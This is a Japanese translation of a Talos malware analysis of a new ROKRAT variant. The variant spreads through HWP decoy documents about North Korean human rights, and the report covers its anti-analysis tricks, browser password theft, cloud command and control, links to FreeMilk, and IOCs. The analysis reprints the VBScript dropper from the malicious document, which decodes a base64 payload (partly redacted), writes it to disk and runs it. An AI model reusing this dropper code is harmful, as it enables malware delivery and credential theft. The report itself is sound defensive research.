この記事は、Jungsoo An の寄稿に基づき、Warren Mercer と Paul Rascagneres が執筆しました。
エグゼクティブ サマリー
Talos では今年、韓国の脅威に関する 2 つの記事を公開しています。1 つ目は、悪意ある HWP ドキュメントの使用に関する記事で、ダウンローダをドロップして、感染した複数の Web サイト上で悪意あるペイロードを取得する手法について説明しました。感染した Web サイトの中には政府のサイトもありました。Talos ではこの事例に「Evil New Years(邪悪な新年)」という名前を付けています。2 つ目は、ROKRAT マルウェアの発見と分析に関する記事でした。
今月に入り、Talos は ROKRAT の新しいバージョンを発見しました。このバージョンには、過去の 2 つの記事に関連する技術的な要素が含まれています。新しいサンプルには、今年の 2 つの記事で公開されたコードが含まれていたのです。
- 使用されている予備調査用のコードが同じ。
- 「Evil New Years」のサンプルで使用された PDB とパターンが類似。
- ROKRAT が使用したのと同じクラウド機能および類似のコピー アンド ペーストが含まれている。
- C&C にクラウド プラットフォームを使用しているが、まったく同じではない。今回のバージョンでは、pcloud、box、dropbox、yandex が使われている。
また、この ROKRAT の新バージョンでは、Freenki(FreeMilk キャンペーンで使用されたダウンローダ)と共通のコードがあることもわかりました。
これまでと同様に、キャンペーンは悪意ある HWP ドキュメントを起点としています。「Citizens’ Alliance for North Korean Human Rights and Reunification of Korean Peninsula」の代表を名乗る弁護士が書いたものとかたっており、同団体が 11 月 1 日にソウルで開催した会合について述べられています。この悪意あるドキュメントの内容から、北朝鮮の情勢に興味を持っている者が標的にされたものと推測されます。そして、このドキュメントは、新しいバージョンの ROKRAT をドロップして実行します。
悪意のある HWP ドキュメント
以前に説明した過去の ROKRAT キャンペーンと同様、今回の攻撃においても、悪意のある HWP ドキュメントを感染ベクトルとして使用しています。この HWP ファイルは、Hancom が開発した Hangul Word Processor を使って作成されています。この文書作成ソフトウェアは、韓国では Microsoft Office の代替品として広く普及しています。悪意のあるドキュメントのスクリーンショットを以下に示します。
この悪意のあるドキュメントには「北朝鮮の人権と統一のためのコミュニティ」と書かれています。Talos がこのキャンペーンを最初に確認したのは 2017 年 11 月のことで、ドキュメントの作者は、「올인통(올바른북한인권법과통일을위한시민모임)」というコミュニティを代表する弁護士をかたっています。
ドキュメントの目的は、韓国で 2016 年に可決された「北朝鮮人権法」と「法律の制定」に関連する事項についての会合を設定することです。
会合の日付(2017 年 11 月 1 日)からすると、このおとりのドキュメントがコミュニティ「올인통」の関係者に送付されたのは 2017 年 11 月より前の時期と考えられます。より多くの人に活動に関心を持ってもらうためのアイデアや方法について議論するという体裁で参加を依頼しているように装っていました。
HWP ファイルには、BIN0001.OLE という名前の OLE オブジェクトが含まれています。圧縮(zlib)を解除して展開すると、次のスクリプトが得られます。
const strEncode = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hV[...redacted...]AAAAAAAAAAAAAAAAAAAAAA=" DIM outFile DIM base64Decoded DIM shell_obj SET shell_obj = CreateObject("WScript.Shell") DIM fso SET fso = CreateObject("Scripting.FileSystemObject") outFile = "c:\ProgramData\HncModuleUpdate.exe" base64Decoded = decodeBase64(strEncode) IF NOT(fso.FileExists(outFile)) then writeBytes outFile, base64Decoded shell_obj.run outFile END IF WScript.Quit() private function decodeBase64(base64) DIM DM, EL SET DM = CreateObject("Microsoft.XMLDOM") SET EL = DM.createElement("tmp") EL.DataType = "bin.base64" EL.Text = base64 decodeBase64 = EL.NodeTypedValue end function private Sub writeBytes(file, bytes) DIM binaryStream SET binaryStream = CreateObject("ADODB.Stream") binaryStream.Type = 1 binaryStream.Open binaryStream.Write bytes binaryStream.SaveToFile file, 1 End Sub
目的は、Base64 のアルゴリズムを使用して、strEncode 変数の内容をデコードすることです。デコードされたデータは C:\ProgramData\HncModuleUpdate.exe ファイルに保存され、実行されます。このバイナリが ROKRAT ドロッパーで、「HncModuleUpdate」というファイル名を使うことで、ユーザが Hancom 製のソフトウェアと思うように仕向けていると考えられます。
ステージ 1:ドロッパー
このドロッパーの目的は、SBS という名称のリソースを展開することです。このリソースには、悪意のあるシェルコードが含まれています。さらに、ドロッパーは cmd.exe プロセスを新規に実行し、展開されたリソースを挿入して実行します。このコードの挿入は、VirtualAlloc() API、WriteProcessMemory() API、CreateRemoteThread() API により実行されます。
シェルコードが実行されると、PE ファイルがデコードされます。そして、cmd.exe のメモリに読み込まれ、実行されます。このペイロードが、ROKRAT の新しい亜種になります。
また、分析したドロッパーの中には、ユーザの画面に画像を表示するものがありました。
写真の人々は、朝鮮戦争の関係者と、「独立運動」時代の独立軍の関係者です。左上の画像はウィキペディアから引用されています。中央左の写真はこちらのブログ、左下の画像はこちらのニュース サイトから引用されています。このように、おとりとして使われた画像は、公開されている写真を組み合わせたものと思われます。
ステージ 2:ROKRAT
「Evil New Years」の悪意あるドキュメントとの類似点
今回の ROKRAT の亜種には、「Evil New Years」のダウンローダと類似のコードが含まれており、予備調査の段階で収集される情報が類似しています。マルウェアは、次のレジストリ キーを使用してマシン タイプを取得します:HKLM\System\CurrentControlSet\Services\mssmbios\Data\SMBiosData「System manufacturer」の値を利用してマシン タイプが判別されます。以下に、「Evil New Years」ダウンローダのフロー図を示します。
次に示すのは ROKRAT の亜種のフロー図です。
このように、フロー図の 99 % が類似しています。また、マシン タイプが次の文字列で表現されています。
このコードは、Win32 API の使用について述べているこちらのフォーラムの投稿を参考にしたものと思われます。ソース コードで扱われているのは、次のタイプのみです。
default: lpString = "(Other)"; break; case 0x02: lpString = "(Unknown)"; break; case 0x03: lpString = "(Desktop)"; break; case 0x04: lpString = "(Low Profile Desktop)"; break; case 0x06: lpString = "(Mini Tower)"; break; case 0x07: lpString = "(Tower)"; break; case 0x08: lpString = "(Portable)"; break; case 0x09: lpString = "(Laptop)"; break; case 0x0A: lpString = "(Notebook)"; break; case 0x0E: lpString = "(Sub Notebook)"; break;
ROKRAT でも () が使われていることに注目してください。SMBIOS のドキュメントからもわかるように、いくつかの値は無視されています。
そして、無視されている値は、フォーラムの投稿でも省かれています。
もう 1 つの類似点は、PDB パスです。「Evil New Year」のサンプルには、次の PDB パスが含まれていました。
e:\Happy\Work\Source\version 12\T+M\Result\DocPrint.pdb
ROKRAT の新しい亜種には、次の PDB が含まれています。
d:\HighSchool\version 13\2ndBD\T+M\T+M\Result\DocPrint.pdb
明らかにパターンが類似しています。
アンチサンドボックス
今回の ROKRAT の亜種にはアンチサンドボックスの仕組みが備えられており、次のライブラリがロードされているかを確認することで実行されます。
- dll(sandboxie のライブラリ)
- dll(Microsoft のデバッグ ツール)
- dll(threatAnalyzer/GFI のサンドボックス)
- dll(threatAnalyzer/GFI のサンドボックス)
アンチデバッグ
今回の ROKRAT のバージョンには、アンチデバッグの仕組みが備えられており、たとえば、次のように NOP が使用されています。
nop dword ptr [eax + eax 00 h] は 5 バイトの NOP です(0x0F1F440000)。しかし、この命令コードは Immunity Debugger では適切に処理されず、アセンブリでは、スクリーンショットの赤色の部分のように、「???」に置き換えられてしまいます。
スクリーンショット機能
ROKRAT の両方のバージョンで、スクリーンショットが実行されます。両バージョンの類似点に注目すると、興味深いことがわかります。特に、保存されるスクリーンショットのファイル名に注目してみましょう。以下は 4 月のバージョンの ROKRAT です。
こちらは 11 月のバージョンのコードです。
「%s%04x%04x.tmp」という、まったく同じパターンが使われています。%04X が 2 つ続いていますが、これはランダムな値になります。%s には一時的なパスが含まれます(GetTempPath() で取得)。どちらのサンプルでも、文字列の長さは 0x12C(300)です。つまり、この部分は明らかにコピー アンド ペーストされています。
ブラウザ パスワードの窃取機能
11 月に分析した ROKRAT のサンプルの中に、ブラウザから窃取する機能を含んだものがありました。Internet Explorer、Chrome、Firefox から保存済みパスワードを抜き出すことができるものです。Chrome と Firefox の場合、URL、ユーザ名、パスワードを含んだ SQLite のデータベースに対し、クエリが実行されます。
さらに ROKRAT では、Microsoft の Vault のメカニズムがサポートされています。Vault は Windows 7 で実装され、Internet Explorer のセンシティブ データ(クレデンシャルなど)を格納します。以下では、Vault の API が初期化されています。
このような ROKRAT の実装は、主にこちらのプロジェクトに基づいており、以前のサンプル/バージョンと比べても、異なった戦術がとられていることがわかります。今回、攻撃者はさらなる侵害に利用できそうな情報に特に狙いを定めており、個人のアカウント情報についても標的としている可能性があります。また攻撃者は、SQLite のライブラリ全体を実行可能ファイルに埋め込むことで、Firefox および Google Chrome での SQLite を通じた情報取得を可能にしており、こうした手法がこれまでの ROKRAT とは異なっています。
調査を進める中で、ブラウザのパスワードを窃取するコードは、Unit 42 の解説する FreeMilk キャンペーンで使用されたコードとまったく同じであることがわかりました。 Unit 42 の解説の中でも、すでに FreeMilk と ROKRAT の間に C2 インフラストラクチャの重複があることが述べられていますが、さらに、2 つのサンプル間にコードの重複のあることが判明しました。
左側が ROKRAT のサンプルで、右側が FreeMilk のサンプルです。コードだけでなく「IE Registery」などの英語のタイプ ミスもコピー アンド ペーストされているのがわかります。
クラウド プラットフォームを C&C として使用
最後に、このバージョンの ROKRAT では、Talos が過去に分析したのとまったく同じ方法で、クラウド プラットフォームが使用されています。今回は、攻撃者はソーシャル ネットワークのプラットフォームではなく、別のクラウド プロバイダーを使用しています。
- PCLOUD
- BOX
- DROPBOX
- YANDEX
まとめ
今回のキャンペーンからは、ROKRAT の背後にいる攻撃者がいまだ活動を続けていることがわかります。また、PDB から考えると、今回のマルウェアは 13 番目のバージョンである可能性があります。攻撃者は、前回のバージョンからいくつかの変更を行うだけでなく、今回は正当なクラウド プラットフォームのみを使用するという決定を下しています。これは、攻撃者の立場からすれば興味深い選択です。デフォルトで HTTPS によるフローの暗号化が行われており、これらのプラットフォームへの正当なトラフィックの中から悪意あるフローを見つけるのが難しくなっています。また、インターネット上ですでに入手可能となっているコードが、好んで使われていることも確認できました。この記事の中でも触れた GitHub、Code Project、その他のパブリック フォーラムなどの複数のレポジトリのコードが使われています。
ソース コードがコピー アンド ペーストされていることから、ROKRAT の作成者が FreeMilk のスペア フィッシング キャンペーンと関わっている可能性はかなり高いものと考えられます。FreeMilk キャンペーンで使用された Freenki ダウンローダと ROKRAT のコードが共通していることからも、こうした点の信憑性が高まります。
さらに、攻撃者は常に同じパターンのターゲットに関心を持っています。おとりに使われたドキュメントの内容は、北朝鮮と韓国の地政学的状況に関連していることが明らかです。主に、統一省や北朝鮮の国民の状況に関する内容が扱われており、実際の会合や会議に触れられていることからも、北朝鮮と韓国の現状に精通していることがうかがわれます。
このような情報を組み合わせることで、標的とされたシステムのプロファイルや攻撃者の関心事項が理解しやすくなります。
カバレッジ
お客様がこの脅威を検出してブロックできる別の方法を以下に記載します。
Advanced Malware Protection(AMP)は、これらの攻撃者によるマルウェアの実行の阻止に最適です。
CWS や WSA の Web スキャンは、悪意のある Web サイトへのアクセスを阻止し、それらの攻撃に使用されたマルウェアを検出します。
電子メール セキュリティ は、攻撃の一環として攻撃者が送りつける不正な電子メールをブロックします。
NGFW や NGIPS、および Meraki MX などのネットワーク セキュリティ アプライアンスで、この脅威に関連付けられた悪意のあるアクティビティを検出できます。
AMP Threat Grid は、悪意のあるバイナリを特定し、すべてのシスコ セキュリティ製品に保護機能を組み込みます。
シスコのセキュア インターネット ゲートウェイ(SIG)である Umbrella は、社内ネットワークの内外で悪意のあるドメイン、IP、URL への接続をブロックします。
オープンソース Snort サブスクライバ ルール セットをお使いであれば、Snort.org で購入可能な最新のルール パックをダウンロードすることで、システムを最新状態に維持できます。
IOC(侵入の痕跡)
パス:c:\ProgramData\HncModuleUpdate.exe
MalDoc:171e26822421f7ed2e34cc092eaeba8a504b5d576c7fd54aa6975c2e2db0f824
ドロッパー #1:a29b07a6fe5d7ce3147dd7ef1d7d18df16e347f37282c43139d53cce25ae7037
ドロッパー #2:eb6d25e08b2b32a736b57f8df22db6d03dc82f16da554f4e8bb67120eacb1d14
ドロッパー #3:9b383ebc1c592d5556fec9d513223d4f99a5061591671db560faf742dd68493f
ROKRAT:b3de3f9309b2f320738772353eb724a0782a1fc2c912483c036c303389307e2e
Freenki:99c1b4887d96cb94f32b280c1039b3a7e39ad996859ffa6dd011cf3cca4f1ba5
本稿は 2017年11月28日に Talos Group のブログに投稿された「ROKRAT Reloaded」の抄訳です。